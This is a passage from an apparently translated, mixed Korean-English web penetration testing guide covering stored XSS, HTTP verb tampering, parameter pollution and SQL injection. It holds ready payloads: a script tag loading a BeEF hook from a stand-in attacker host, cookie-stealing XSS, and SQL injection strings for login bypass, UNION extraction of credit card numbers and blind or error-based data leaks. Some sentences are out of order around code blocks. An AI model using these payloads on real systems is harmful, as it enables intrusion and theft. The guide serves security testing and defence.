입력이 저장되고 XSS 페이로드는 페이지 리로드 시 브라우저에 의해 실행됩니다. 만약 입력이 어플리케이션에 의해 취소된다면, 테스터는 XSS 필터를 통해 어플리케이션을 테스트해야합니다. 예를 들어, 만약 "SCRIPT" 문자열이 공백 또는 NULL 문자로 수정된다면, XSS 필터를 해야합니다. 입력 필터를 우회하기 위한 수많은 기술이 존재하므로, 관련 문서를 찾아보기 바랍니다.


BeEF로 저장형 XSS 활용

저장형 XSS는 BeEF, XSS Proxy, Backframe과 같은 고급 Javascript exploitation frameworks 에 의해 공격할 수 있습니다.

일반적인 BeEF 공격 시나리오

  • 공격자의 BeEF와 통신하는 자바스크립트 hook을 삽입
  • 어플리케이션 사용자가 저장형 입력이 표시되는 취약한 페이지를 보기를 기다리기
  • BeEF 콘솔을 통해 어플리케이션 사용자의 브라우저 제어

The JavaScript hook can be injected by exploiting the XSS vulnerability in the web application.

예제 BeEF Injection in index2.php:

aaa@aa.com"><script src=http://attackersite/hook.js></script>

When the user loads the page index2.php, the script hook.js is executed by the browser. It is then possible to access cookies, user screen-shot, user clipboard, and launch complex XSS attacks.

예상 결과

[그림]

This attack is particularly effective in vulnerable pages that are viewed by many users with different privileges.


File Upload

If the web application allows file upload, it is important to check if it is possible to upload HTML content. For instance, if HTML or TXT files are allowed, XSS payload can be injected in the file uploaded. The pen-tester should also verify if the file upload allows setting arbitrary MIME types. Consider the following HTTP POST request for file upload:

POST /fileupload.aspx HTTP/1.1
[...]

Content-Disposition: form-data; name="uploadfile1";
filename="C:\Documents and Settings\test\Desktop\test.txt"
Content-Type: text/plain

test

This design flaw can be exploited in browser MIME mishandling attacks. For instance, innocuous-looking files like JPG and GIF can contain an XSS payload that is executed when they are loaded by the browser. This is possible when the MIME type for an image such as image/gif can instead be set to text/html. In this case the file will be treated by the client browser as HTML.

HTTP POST Request forged:

Content-Disposition: form-data; name="uploadfile1";
filename="C:\Documents and Settings\test\Desktop\test.gif"
Content-Type: text/html

<script>alert(document.cookie)</script>

Also consider that Internet Explorer does not handle MIME types in the same way as Mozilla Firefox or other browsers do. For instance, Internet Explorer handles TXT files with HTML content as HTML content. For further information about MIME handling, refer to the whitepapers section at the bottom of this chapter.


Gray Box testing

Gray Box testing is similar to Black box testing. In gray box testing, the pen-tester has partial knowledge of the application. In this case, information regarding user input, input validation controls, and data storage might be known by the pen-tester. Depending on the information available, it is normally recommended that testers check how user input is processed by the application and then stored into the back-end system. The following steps are recommended:

  • Use front-end application and enter input with special/invalid characters
  • Analyze application response(s)
  • Identify presence of input validation controls
  • Access back-end system and check if input is stored and how it is stored
  • Analyze source code and understand how stored input is rendered by the application

If source code is available (White Box), all variables used in input forms should be analyzed. In particular, programming languages such as PHP, ASP, and JSP make use of predefined variables/functions to store input from HTTP GET and POST requests.

The following table summarizes some special variables and functions to look at when analyzing source code:

PHP ASP JSP
$_GET Request.QueryString doGet
$_POST Request.Form doPost
$_REQUEST   request.getParameter
$_FILES Server.CreateObject  

Tools


References

OWASP Resources
  • XSS Filter Evasion Cheat Sheet
Books
  • Joel Scambray, Mike Shema, Caleb Sima -"Hacking Exposed Web Applications", Second Edition, McGraw-Hill, 2006 - ISBN 0-07-226229-0
  • Dafydd Stuttard, Marcus Pinto - "The Web Application's Handbook - Discovering and Exploiting Security Flaws", 2008, Wiley,ISBN 978-0-470-17077-9
  • Jeremiah Grossman, Robert "RSnake" Hansen, Petko "pdp" D.

Petkov, Anton Rager, Seth Fogie - "Cross Site Scripting Attacks: XSS Exploits and Defense", 2007, Syngress, ISBN-10: 1-59749154-3

Whitepapers

OTG-INPVAL-003 (HTTP 행위 변조 침투 테스트)


개요

The HTTP specification includes request methods other than the standard GET and POST requests. A standards compliant web server may respond to these alternative methods in ways not anticipated by developers. Although the common description is 'verb' tampering, the HTTP 1.1 standard refers to these request types as different HTTP 'methods.'

The full HTTP 1.1 specification [1] defines the following valid HTTP request methods, or verbs:

OPTIONS
GET
HEAD
POST
PUT
DELETE
TRACE
CONNECT

If enabled, the Web Distributed Authoring and Version (WebDAV) extensions [2] [3] permit several more HTTP methods:

PROPFIND
PROPPATCH
MKCOL
COPY
MOVE
LOCK
UNLOCK

However, most web applications only need to respond to GET and POST requests, providing user data in the URL query string or appended to the request respectively. The standard <a href=""></a> style links trigger a GET request; form data submitted via <form method='POST'></form> trigger POST requests. Forms defined without a method also send data via GET by default.

Oddly, the other valid HTTP methods are not supported by the HTML standard [4]. Any HTTP method other than GET or POST needs to be called outside the HTML document. However, JavaScript and AJAX calls may send methods other than GET and POST.

As long as the web application being tested does not specifically call for any non-standard HTTP methods, testing for HTTP verb tampering is quite simple. If the server accepts a request other than GET or POST, the test fails. The solutions is to disable all non GET or POST functionality within the web application server, or in a web application firewall.

If methods such as HEAD or OPTIONS are required for your application, this increases the burden of testing substantially. Each action within the system will need to be verified that these alternate methods do not trigger actions without proper authentication or reveal information about the contents or workings web application. If possible, limit alternate HTTP method usage to a single page that contains no user actions, such the default landing page (example: index.html).


테스트 방법


As the HTML standard does not support request methods other than GET or POST, we will need to craft custom HTTP requests to test the other methods. We highly recommend using a tool to do this, although we will demonstrate how to do manually as well.

수동 HTTP 행위 변조 테스트

This example is written using the netcat package from openbsd (standard with most Linux distributions). You may also use telnet (included with Windows) in a similar fashion.

1. 사용자 정의 HTTP 요청 제작
  • Each HTTP 1.1 request follows the following basic formatting and syntax.

Elements surrounded by brackets [ ] are contextual to your application. The empty newline at the end is required. - In order to craft separate requests, you can manually type each

[METHOD] /[index.htm] HTTP/1.1
host: [www.example.com]

request into netcat or telnet and examine the response. However, to speed up testing, you may also store each request in a separate file. This second approach is what we'll demonstrate in these examples. Use your favorite editor to create a text file for each method. Modify for your application's landing page and domain.

1.1 OPTIONS

OPTIONS /index.html HTTP/1.1
host: www.example.com

1.2 GET

GET /index.html HTTP/1.1
host: www.example.com

1.3 HEAD

HEAD /index.html HTTP/1.1
host: www.example.com

1.4 POST

POST /index.html HTTP/1.1
host: www.example.com

1.5 PUT

PUT /index.html HTTP/1.1
host: www.example.com

1.6 DELETE

DELETE /index.html HTTP/1.1
host: www.example.com

1.7 TRACE

TRACE /index.html HTTP/1.1
host: www.example.com

1.8 CONNECT

CONNECT /index.html HTTP/1.1
host: www.example.com

2. HTTP 요청 보내기
  • For each method and/or method text file, send the request to
nc www.example.com 80 < OPTIONS.http.txt

your web server via netcat or telnet on port 80 (HTTP):


3. HTTP 응답 파싱
  • Although each HTTP method can potentially return different results, there is only a single valid result for all methods other than GET and POST. The web server should either ignore the request completely or return an error. Any other response indicates a test failure as the server is responding to methods/verbs that are unnecessary. These methods should be disabled.
  • An example of a failed test (ie, the server supports OPTIONS despite no need for it):

Automated HTTP verb tampering testing

If you are able to analyze your application via simple HTTP status codes (200 OK, 501 Error, etc) - then the following bash script will test all available HTTP methods. Code copied verbatim from the Penetration Testing Lab blog [5]


OTG-INPVAL-004 (HTTP 파라미터 감염 침투 테스트)


개요

Supplying multiple HTTP parameters with the same name may cause an application to interpret values in unanticipated ways. By exploiting these effects, an attacker may be able to bypass input validation, trigger application errors or modify internal variables values. As HTTP Parameter Pollution (in short HPP) affects a building block of all web technologies, server and client side attacks exist.

Current HTTP standards do not include guidance on how to interpret multiple input parameters with the same name. For instance, RFC 3986 simply defines the term Query String as a series of field-value pairs and RFC 2396 defines classes of reversed and unreserved query string characters. Without a standard in place, web application components handle this edge case in a variety of ways (see the table below for details).

By itself, this is not necessarily an indication of vulnerability. However, if the developer is not aware of the problem, the presence of duplicated parameters may produce an anomalous behavior in the application that can be potentially exploited by an attacker.

As often in security, unexpected behaviors are a usual source of weaknesses that could lead to HTTP Parameter Pollution attacks in this case. To better introduce this class of vulnerabilities and the outcome of HPP attacks, it is interesting to analyze some real-life examples that have been discovered in the past.


입력 유효성 검사와 필터링 우회

In 2009, immediately after the publication of the first research on HTTP Parameter Pollution, the technique received attention from the security community as a possible way to bypass web application firewalls. One of these flaws, affecting ModSecurity SQL Injection Core Rules, represents a perfect example of the impedance mismatch between applications and filters. The ModSecurity filter would correctly blacklist the following string: select 1,2,3 from table, thus blocking this example URL from being processed by the web server: /index.aspx?page=select 1,2,3 from table. However, by exploiting the concatenation of multiple HTTP parameters, an attacker could cause the application server to concatenate the string after the ModSecurity filter already accepted the input.

As an example, the URL /index.aspx?page=select 1&page=2,3 from table would not trigger the ModSecurity filter, yet the application layer would concatenate the input back into the full malicious string.

Another HPP vulnerability turned out to affect Apple Cups, the well-known printing system used by many UNIX systems. Exploiting HPP, an attacker could easily trigger a Cross-Site Scripting vulnerability using the following URL: http://127.0.0.1:631/admin /?kerberos=onmouseover=alert(1)&kerberos. The application validation checkpoint could be bypassed by adding an extra kerberos argument having a valid string (e.g. empty string). As the validation checkpoint would only consider the second occurrence, the first kerberos parameter was not properly sanitized before being used to generate dynamic HTML content. Successful exploitation would result in Javascript code execution under the context of the hosting web site.


인증 우회

An even more critical HPP vulnerability was discovered in Blogger, the popular blogging platform. The bug allowed malicious users to take ownership of the victim's blog by using the following HTTP request: The flaw resided in the authentication mechanism used by the

POST /add-authors.do HTTP/1.1

security_token=attackertoken&blogID=attackerblogidvalue
&blogID=victimblogidvalue&authorsList=goldshlager19test%
40gmail.com(attacker email)&ok=Invite

web application, as the security check was performed on the first blogID parameter, whereas the actual operation used the second occurrence.

Expected Behavior by Application Server

The following table illustrates how different web technologies behave in presence of multiple occurrences of the same HTTP parameter. Given the URL and querystring: http://example.com/?color=red&color=blue

Web Application Server Backend ASP JSP
ASP.NET/IIS 쉼표로 연결된 모든 것 발생 color=red,blue
ASP/IIS 쉼표로 연결된 모든 것 발생 color=red,blue
PHP/Apache 마지막만 발생 color=blue
PHP/Zeus 마지막만 발생 color=blue
JSP,Servlet/Apache Tomcat 처음만 발생 color=red
JSP,Servlet/Oracle Application Server 10g 처음만 발생 color=red
JSP,Servlet/Jetty 처음만 발생 color=red
IBM Lotus Domino 마지막만 발생 color=blue
IBM HTTP Server 처음만 발생 color=red
mod_perl,libapreq2/Apache 처음만 발생 color=red
Perl CGI/Apache 처음만 발생 color=red
mod_wsgi(Python)/Apache 처음만 발생 color=red
Python/Zope 리스트 데이터에 있는 모든 것 발생 color=['red','blue']

테스트 방법


Luckily, because the assignment of HTTP parameters is typically handled via the web application server, and not the application code itself, testing the response to parameter pollution should be standard across all pages and actions. However, as in-depth business logic knowledge is necessary, testing HPP requires manual testing. Automatic tools can only partially assist auditors as they tend to generate too many false positives. In addition, HPP can manifest itself in client-side and server-side components.

Server-side HPP

To test for HPP vulnerabilities, identify any form or action that allows user-supplied input. Query string parameters in HTTP GET requests are easy to tweak in the navigation bar of the browser. If the form action submits data via POST, the tester will need to use an intercepting proxy to tamper with the POST data as it is sent to the server. Having identified a particular input parameter to test, one can edit the GET or POST data by intercepting the request, or change the query string after the response page loads. To test for HPP vulnerabilities simply append the same parameter to the GET or POST data but with a different value assigned.

For example: if testing the search_string parameter in the query string, the request URL would include that parameter name and value.

http://example.com/?search_string=kittens

The particular parameter might be hidden among several other parameters, but the approach is the same; leave the other parameters in place and append the duplicate.

http://example.com/?mode=guest&search_string=kittens&num_results=100

Append the same parameter with a different value

http://example.com/?mode=guest&search_string=kittens&num_ results=100&search_string=puppies

and submit the new request. Analyze the response page to determine which value(s) were parsed. In the above example, the search results may show kittens, puppies, some combination of both (kittens,puppies or kit-tens~puppies or ['kittens','puppies']), may give an empty result, or error page.

This behavior, whether using the first, last, or combination of input parameters with the same name, is very likely to be consistent across the entire application. Whether or not this default behavior reveals a potential vulnerability depends on the specific input validation and filtering specific to a particular application. As a general rule: if existing input validation and other security mechanisms are sufficient on single inputs, and if the server assigns only the first or last polluted parameters, then parameter pollution does not reveal a vulnerability. If the duplicate parameters are concatenated, different web application components use different occurrences or testing generates an error, there is an increased likelihood of being able to use parameter pollution to trigger security vulnerabilities. A more in-depth analysis would require three HTTP requests for each HTTP parameter:

  1. Submit an HTTP request containing the standard parameter name and value, and record the HTTP response. E.g. page?par1=val1
  2. Replace the parameter value with a tampered value, submit and record the HTTP response. E.g. page?par1=HPP_TEST1
  3. Send a new request combining step (1) and (2). Again, save the HTTP response. E.g. page?par1=val1&par1=HPP_TEST1

4. Compare the responses obtained during all previous steps. If the response from (3) is different from (1) and the response from (3) is also different from (2), there is an impedance mismatch that may be eventually abused to trigger HPP vulnerabilities. Crafting a full exploit from a parameter pollution weakness is beyond the scope of this text. See the references for examples and details.

Client-side HPP

Similarly to server-side HPP, manual testing is the only reliable technique to audit web applications in order to detect parameter pollution vulnerabilities affecting client-side components. While in the server-side variant the attacker leverages a vulnerable web application to access protected data or perform actions that either not permitted or not supposed to be executed, client-side attacks aim at subverting client-side components and technologies. To test for HPP client-side vulnerabilities, identify any form or action that allows user input and shows a result of that input back to the user. A search page is ideal, but a login box might not work (as it might not show an invalid username back to the user). Similarly to server-side HPP, pollute each HTTP parameter with %26HPP_TEST and look for url-decoded occurrences of the user-supplied payload:

  • &HPP_TEST
  • &amp;HPP_TEST
  • ...and others

In particular, pay attention to responses having HPP vectors within data, src, href attributes or forms actions. Again, whether or not this default behavior reveals a potential vulnerability depends on the specific input validation, filtering and application business logic. In addition, it is important to notice that this vulnerability can also affect query string parameters used in XMLHttpRequest (XHR), runtime attribute creation and other plugin technologies (e.g. Adobe Flash's flashvars variables).


Tools

  • OWASP ZAP HPP Passive/Active Scanners [1]
  • HPP Finder (Chrome Plugin) [2]

References

Whitepapers
  • HTTP Parameter Pollution - Luca Carettoni, Stefano di Paola [3]
  • Split and Join (Bypassing Web Application Firewalls with HTTP Parameter Pollution) - Lavakumar Kuppan [4]
  • Client-side Http Parameter Pollution Example (Yahoo! Classic Mail flaw) - Stefano di Paola [5]
  • How to Detect HTTP Parameter Pollution Attacks - Chrysostomos Daniel [6]
  • CAPEC-460: HTTP Parameter Pollution (HPP) - Evgeny Lebanidze [7]
  • Automated Discovery of Parameter Pollution Vulnerabilities in Web Applications - Marco Balduzzi, Carmen Torrano Gimenez, Davide Balzarotti, Engin Kirda [8]

OTG-INPVAL-005 (SQL 인젝션 침투 테스트)


개요

SQL 인젝션 공격은 클라이언트 브라우저로 부터 웹 어플리케이션으로 데이터 입력 또는 전송 폼을 통해 부분 또는 전체 SQL 쿼리를 삽입하는 것입니다. 성공적인 SQL 인젝션 공격은 데이터베이스로 부터 민감한 데이터를 읽거나, 수정, 실행, 복구 등을 할 수 있습니다.

일반적으로 웹 어플리케이션은 사용자가 입력한 데이터와 프로그래머에 의해 작성된 SQL 구문을 포함하여 구성되어 있습니다.

select title, text from news where id=$id

위의 예제를 보면 $id는 사용자 입력 데이터이고, 나머지 SQL 구문은 프로그래머에 의해 작성된 것입니다.

이러한 구성 때문에, 사용자는 보통 SQL 구문에 사용자가 입력한 부분을 실행하도록 시도할 수 있습니다.

The example below illustrates the user-supplied data "10 or 1=1", changing the logic of the SQL statement, modifying the WHERE clause adding a condition "or 1=1". SQL Injection attacks can be divided into the following three classes:

  • Inband: data is extracted using the same channel that is used to inject the SQL code.

검색 데이터가 어플리케이션 웹 페이지에 직접 표시되는 가장 간단한 공격 유형입니다. - Out-of-band: data is retrieved using a different channel. - Inferential 또는 Blind: there is no actual transfer of data, but the tester is able to reconstruct the information by sending particular requests and observing the resulting behavior of the DB Server.

성공적인 SQL 인젝션 공격은 문법적으로 정확한 SQL 쿼리를 만들어야 합니다.

If the application returns an error message generated by an incorrect query, then it may be easier for an attacker to reconstruct the logic of the original query and, therefore, understand how to perform the injection correctly. However, if the application hides the error details, then the tester must be able to reverse engineer the logic of the original query.

About the techniques to exploit SQL injection flaws there are five commons techniques. Also those techniques sometimes can be used in a combined way (e.g. union operator and out-of-band):

  • Union 조작: can be used when the SQL injection flaw happens in a SELECT statement, making it possible to combine two queries into a single result or result set.
  • Boolean: use Boolean condition(s) to verify whether certain conditions are true or false.
  • Error 기반: this technique forces the database to generate an error, giving the attacker or tester information upon which to refine their injection.
  • Out-of-band: technique used to retrieve data using a different channel (e.g., make a HTTP connection to send the results to a web server).
  • Time delay: use database commands (e.g. sleep) to delay answers in conditional queries. It useful when attacker doesn't have some kind of answer (result, output, or error) from the application.

테스트 방법

탐지 기술

이 테스트에 첫번째 단계는 어플리케이션이 어떤 데이터를 액세스하기 위해 DB 서버와 연계할 때를 이해하는 것입니다. 어플리케이션이 DB에 요청할 경우의 일반적인 예제:

  • 인증 폼: 인증이 웹 폼을 사용하여 수행될 때, 사용자가 모든 사용자명과 패스워드를 포함하는

데이터베이스에 대해 사용자 신용 증명을 확인합니다. - 검색 엔진: 사용자가 제출한 문자열은 데이터베이스에서 모든 관련 기록을 출력하는 SQL 쿼리에서 사용할 수 있습니다. - 전자상거래 사이트: 물건과 물건 특징이 데이터베이스에 저장되어 있을 가능성이 높습니다.

테스터는 POST 요청의 숨겨진 필드를 포함한 SQL 쿼리를 만드는데 사용할 수 있는 모든 입력 필드 리스트를 만들어야 하고, 개별적으로 테스트를 해서 쿼리를 방해하고 오류를 생성하기 위해 노력합니다. 또한 HTTP 헤더와 쿠키를 고려합니다.

첫번째 테스트는 일반적으로 필드 또는 파라미터에 싱글 쿼터 또는 세미콜론을 추가하여 확인하는 것입니다.

만약 싱글 쿼터가 어플리케이션에서 필터링되지 않았다면, 문자열 종료로 SQL에 사용되었을 것이고, 잘못된 쿼리로 이어질 것입니다.

만약 세미콜론이 어플리케이션에서 필터링되지 않았다면, SQL 구문이 끝나는데 사용되었을 것이고, 이 또한 오류가 발생될 것입니다.

취약한 필드의 출력은 다음과 유사할 것입니다. (Microsoft SQL Server)

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed
quotation mark before the
character string ''.
/target/target.asp, line 113

또한, 주석 구분자(-- 또는 /* */, 등)와 'AND', 'OR'과 같은 다른 키워드는 쿼리 수정을 위해 사용될 수 있습니다.

매우 간단하지만 때로는 여전히 효과적인 기술은 다수의 예상되는 문자열을 삽입하는 것인데, 다음과 같은 오류가 생성될 수 있습니다.

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting the
varchar value 'test' to a column of data type int.
/target/target.asp, line 113

웹 서버로 부터 모든 응답을 모니터하고 HTML/javascript 소스 코드를 확인해야 합니다.

때로는 에러가 존재하지만 어떠한 이유로 사용자에게 제공되지 않을 수 있습니다.

위 예제에서와 같은 전체 에러 메시지는 테스터에게 성공적인 인젝션 공격을 위해 풍부한 정보를 제공합니다. 그러나, 어플리케이션은 종종 간단하게 '500 Server Error' 또는 자체 에러 페이지를 출력하고 자세한 내용을 제공하지 않는데, 이럴 경우 블라인드 인젝션 기술을 사용해야 합니다.

어쨋든, 파라미터의 취약여부를 정밀하게 판단하기 위해서, 각각의 필드를 분리하여 테스트하는 것은 매우 중요합니다.


기본 SQL 인젝션 테스트
예제 1 (기본 SQL 인젝션)
SELECT * FROM Users WHERE Username='$username' AND
Password='$password'

일반적으로 웹 어플리케이션에서 사용자 인증을 위해 사용되는 쿼리입니다. 만약 쿼리가 데이터베이스 내부 자격 증명에 사용자가 존재함을 의미하는 값을 리턴하면, 사용자는 시스템에 로그인할 수 있고, 그렇지 않으면 액세스가 거부됩니다.

입력 필드 값은 일반적으로 웹 form을 통해 사용자로 부터 획득됩니다.

다음 사용자명과 패스워드 값을 입력했다고 가정합니다.

$username = 1' or '1' = '1
$password = 1' or '1' = '1

위 입력은 다음과 같이 입력될 것입니다.

SELECT * FROM Users WHERE Username='1' OR '1' = '1' AND
Password='1' OR '1' = '1'

만약 파라미터 값이 GET 메소드를 통해 서버에 보내졌고, 취약한 웹 사이트의 도메인이 www.example.com이라고 가정한다면, 요청을 아래와 같이 수행할 것입니다.

조건이 항상 true이기 때문에 쿼리 값을 반환하는 것을 알 수 있습니다.

[Request URL]

http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'
1&password=1'%20or%20'1'%20=%20'1

이번 방법에서는 사용자명과 패스워드를 알지 못하는 상태에서 시스템에 인증되었습니다. 대부분 시스템에서는 사용자 테이블의 첫번째 줄이 관리자 사용자일 것입니다.

이것은 그런 일부 경우에 리턴되는 프로파일 일 수 있습니다.


또 다른 예제 하나를 더 보겠습니다.

SELECT * FROM Users WHERE ((Username='$username') AND
(Password=MD5('$password')))

이 경우 인젝션을 하기 위해 두 가지 문제를 해결해야 하는데, 하나는 괄호 사용이고 다른 하는 MD5 함수 사용입니다. 우선적으로, 괄호 사용 문제의 경우 괄호 개수에 맞게 닫힘 괄호를 입력해주어야 합니다. 두번째 문제인, MD5의 경우 주석 처리를 통해 함수가 처리되지 않도록 합니다. 모든 DBMS는 주속 구문을 가지고 있는데, 대다수 공통적으로 '/*'을 사용합니다.

$username = 1' or '1' = '1'))/*

$password = foo

이 방법에서, 다음 쿼리를 얻을 수 있습니다.

SELECT * FROM Users WHERE ((Username='1' or '1' = '1'))/*') AND
(Password=MD5('foo')))

$username에 주석 구분자로 인해 $password 부분은 무시될 것입니다.

[Request URL]

http://www.example.com/index.php?username=1'%20or%20
'1'%20=%20'1'))/*&password=foo

이건 다수의 값이 반환될 수 있습니다. 때때로, 인증 코드는 반환된 결과의 수가 1과 정확하게 동일하다고 확인합니다.

In the previous examples, this situation would be difficult (in the database there is only one value per user). In order to go around this problem, it is enough to insert a SQL command that imposes a condition that the number of the returned results must be one. (One record returned) In order to reach this goal, we use the operator "LIMIT <num>", where <num> is the number of the results/records that we want to be returned. With respect to the previous example, the value of the fields Username and Password will be modified as follows:

$username = 1' or '1' = '1')) LIMIT 1/*

$password = foo

[Request URL]

http://www.example.com/index.php?username=1'%20or%20
'1'%20=%20'1'))%20LIMIT%201/*&password=foo

예제 2 (simple SELECT statement): Consider the following SQL query:
SELECT * FROM products WHERE id_product=$id_product

Consider also the request to a script who executes the query above:

http://www.example.com/product.php?id=10

When the tester tries a valid value (e.g. 10 in this case), the application will return the description of a product. A good way to test if the application is vulnerable in this scenario is play with logic, using the operators AND and OR.

Consider the request:

http://www.example.com/product.php?id=10 AND 1=2

SELECT * FROM products WHERE id_product=10 AND 1=2

In this case, probably the application would return some message telling us there is no content available or a blank page. Then the tester can send a true statement and check if there is a valid result:

http://www.example.com/product.php?id=10 AND 1=1

예제 3 (Stacked queries):

Depending on the API which the web application is using and the DBMS (e.g. PHP + PostgreSQL, ASP+SQL SERVER) it may be possible to execute multiple queries in one call.

Consider the following SQL query:

SELECT * FROM products WHERE id_product=$id_product

A way to exploit the above scenario would be:

http://www.example.com/product.php?id=10; INSERT INTO
users (...)

This way is possible to execute many queries in a row and independent of the first query.


Fingerprinting the Database

Even the SQL language is a standard, every DBMS has its peculiarity and differs from each other in many aspects like special commands, functions to retrieve data such as users names and databases, features, comments line etc.

When the testers move to a more advanced SQL injection exploitation they need to know what the back end database is.

  1. The first way to find out what back end database is used is by observing the error returned by the application. Follow are some examples:

MySql:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1

Oracle:

ORA-00933: SQL command not properly ended

MS SQL Server:

Microsoft SQL Native Client error '80040e14' Unclosed quotation mark after the character string

PostgreSQL:

Query failed: ERROR: syntax error at or near "'" at character 56 in /www/site/test.php on line 121.

  1. If there is no error message or a custom error message, the tester can try to inject into string field using concatenation technique:

공격 기술
Union 공격 기술

SQL 인젝션 시 UNION 연산자는 오리지날 쿼리에 테스터가 의도적으로 위조한 쿼리를 합치기 위해 사용됩니다.

위조한 쿼리 결과는 테스터가 다른 테이블의 컬럼 값을 획득하기 위해 오리지날 쿼리 결과에 합쳐지게 될 것입니다.

다음과 같이 서버로 부터 실행되는 쿼리 예제를 가정해봅니다.

SELECT Name, Phone, Address FROM Users WHERE Id=$id

다음과 같이 $id 값을 설정할 것입니다.

$id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable

다음 쿼리가 실행될 것입니다.

SELECT Name, Phone, Address FROM Users WHERE Id=1
UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable

CreditCardTable 테이블에 있는 모든 CreditCardNumber가 오리지널 쿼리 결과에 합쳐질 것입니다. 키워드 ALL은 The keyword ALL is necessary to get around queries that use the keyword DISTINCT. Moreover, we notice that beyond the credit card numbers, we have selected other two values. These two values are necessary, because the two queries must have an equal number of parameters/columns, in order to avoid a syntax error.

The first detail a tester needs to exploit the SQL injection vulnerability using such technique is to find the right numbers of columns in the SELECT statement. In order to achieve this the tester can use ORDER BY clause followed by a number indicating the numeration of database's column selected:

http://www.example.com/product.php?id=10 ORDER BY 10--

If the query executes with success the tester can assume, in this example, there are 10 or more columns in the SELECT statement. If the query fails then there must be fewer than 10 columns returned by the query.

If there is an error message available, it would probably be:

Unknown column '10' in 'order clause'

After the tester finds out the numbers of columns, the next step is to find out the type of columns. Assuming there were 3 columns in the example above, the tester could try each column type, using the NULL value to help them:

http://www.example.com/product.php?id=10 UNION SELECT
1,null,null--

If the query fails, the tester will probably see a message like:

All cells in a column must have the same datatype

If the query executes with success, the first column can be an integer. Then the tester can move further and so on:

http://www.example.com/product.php?id=10 UNION SELECT
1,1,null--

After the successful information gathering, depending on the application, it may only show the tester the first result, because the application treats only the first line of the result set. In this case, it is possible to use a LIMIT clause or the tester can set an invalid value, making only the second query valid (supposing there is no entry in the database which ID is 99999):

http://www.example.com/product.php?id=99999 UNION
SELECT 1,1,null--
Boolean 공격 기술

The Boolean exploitation technique is very useful when the tester finds a Blind SQL Injection situation, in which nothing is known on the outcome of an operation. For example, this behavior happens in cases where the programmer has created a custom error page that does not reveal anything on the structure of the query or on the database. (The page does not return a SQL error, it may just return a HTTP 500, 404, or redirect).

By using inference methods, it is possible to avoid this obstacle and thus to succeed in recovering the values of some desired fields. This method consists of carrying out a series of boolean queries against the server, observing the answers and finally deducing the meaning of such answers. We consider, as always, the www.example.com domain and we suppose that it contains a parameter named id vulnerable to SQL injection. This means that carrying out the following request:

http://www.example.com/index.php?id=1'

We will get one page with a custom message error which is due to a syntactic error in the query. We suppose that the query executed on the server is:

SELECT field1, field2, field3 FROM Users WHERE Id='$Id'

Which is exploitable through the methods seen previously. What we want to obtain is the values of the username field. The tests that we will execute will allow us to obtain the value of the user-name field, extracting such value character by character. This is possible through the use of some standard functions, present in practically every database. For our examples, we will use the following pseudo-functions: SUBSTRING (text, start, length): returns a substring starting from the position "start" of text and of length "length". I f "start" is greater than the length of text, the function returns a null value. ASCII (char): it gives back ASCII value of the input character. A null value is returned if char is 0. LENGTH (text): it gives back the number of characters in the input text. Through such functions, we will execute our tests on the first character and, when we have discovered the value, we will pass to the second and so on, until we will have discovered the entire value. The tests will take advantage of the function SUBSTRING, in order to select only one character at a time (selecting a single character means to impose the length parameter to 1), and the function ASCII, in order to obtain the ASCII value, so that we can do numerical comparison. The results of the comparison will be done with all the values of the ASCII table, until the right value is found. As an example, we will use the following value for Id:

$Id=1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1

That creates the following query (from now on, we will call it "inferential query"):

SELECT field1, field2, field3 FROM Users WHERE Id='1' AND
ASCII(SUBSTRING(username,1,1))=97 AND '1'='1'

The previous example returns a result if and only if the first character of the field username is equal to the ASCII value 97. If we get a false value, then we increase the index of the ASCII table from 97 to 98 and we repeat the request. If instead we obtain a true value, we set to zero the index of the ASCII table and we analyze the next character, modifying the parameters of the SUBSTRING function. The problem is to understand in which way we can distinguish tests returning a true value from those that return false. To do this, we create a query that always returns false. This is possible by using the following value for Id:

$Id=1' AND '1' = '2

Which will create the following query:

SELECT field1, field2, field3 FROM Users WHERE Id='1' AND '1'
= '2'

The obtained response from the server (that is HTML code) will be the false value for our tests. This is enough to verify whether the value obtained from the execution of the inferential query is equal to the value obtained with the test executed before. Sometimes, this method does not work. If the server returns two different pages as a result of two identical consecutive web requests, we will not be able to discriminate the true value from the false value. In these particular cases, it is necessary to use particular filters that allow us to eliminate the code that changes between the two requests and to obtain a template. Later on, for every inferential request executed, we will extract the relative template from the response using the same function, and we will perform a control between the two templates in order to decide the result of the test.

In the previous discussion, we haven't dealt with the problem of determining the termination condition for out tests, i.e., when we should end the inference procedure. A techniques to do this uses one characteristic of the SUBSTRING function and the LENGTH function. When the test compares the current character with the ASCII code 0 (i.e., the value null) and the test returns the value true, then either we are done with the inference procedure (we have scanned the whole string), or the value we have analyzed contains the null character. We will insert the following value for the field Id:

$Id=1' AND LENGTH(username)=N AND '1' = '1

Where N is the number of characters that we have analyzed up to now (not counting the null value). The query will be:

SELECT field1, field2, field3 FROM Users WHERE Id='1' AND
LENGTH(username)=N AND '1' = '1'

The query returns either true or false. If we obtain true, then we have completed the inference and, therefore, we know the value of the parameter. If we obtain false, this means that the null character is present in the value of the parameter, and we must continue to analyze the next parameter until we find another null value. The blind SQL injection attack needs a high volume of queries. The tester may need an automatic tool to exploit the vulnerability.


에러 기반 공격 기술

An Error based exploitation technique is useful when the tester for some reason can't exploit the SQL injection vulnerability using other technique such as UNION. The Error based technique consists in forcing the database to perform some operation in which the result will be an error. The point here is to try to extract some data from the database and show it in the error message. This exploitation technique can be different from DBMS to DBMS (check DBMS specific section). Consider the following SQL query:

SELECT * FROM products WHERE id_product=$id_product

Consider also the request to a script who executes the query above:

http://www.example.com/product.php?id=10

The malicious request would be (e.g. Oracle 10g):

http://www.example.com/product.php?id=10||UTL_INADDR.
GET_HOST_NAME( (SELECT user FROM DUAL) )-

In this example, the tester is concatenating the value 10 with the result of the function UTL_INADDR.GET_HOST_NAME. This Oracle function will try to return the host name of the parameter passed to it, which is other query, the name of the user. When the database looks for a host name with the user database name, it will fail and return an error message like:

ORA-292257: host SCOTT unknown

Then the tester can manipulate the parameter passed to GET_ HOST_NAME() function and the result will be shown in the error message.


Out of band Exploitation technique

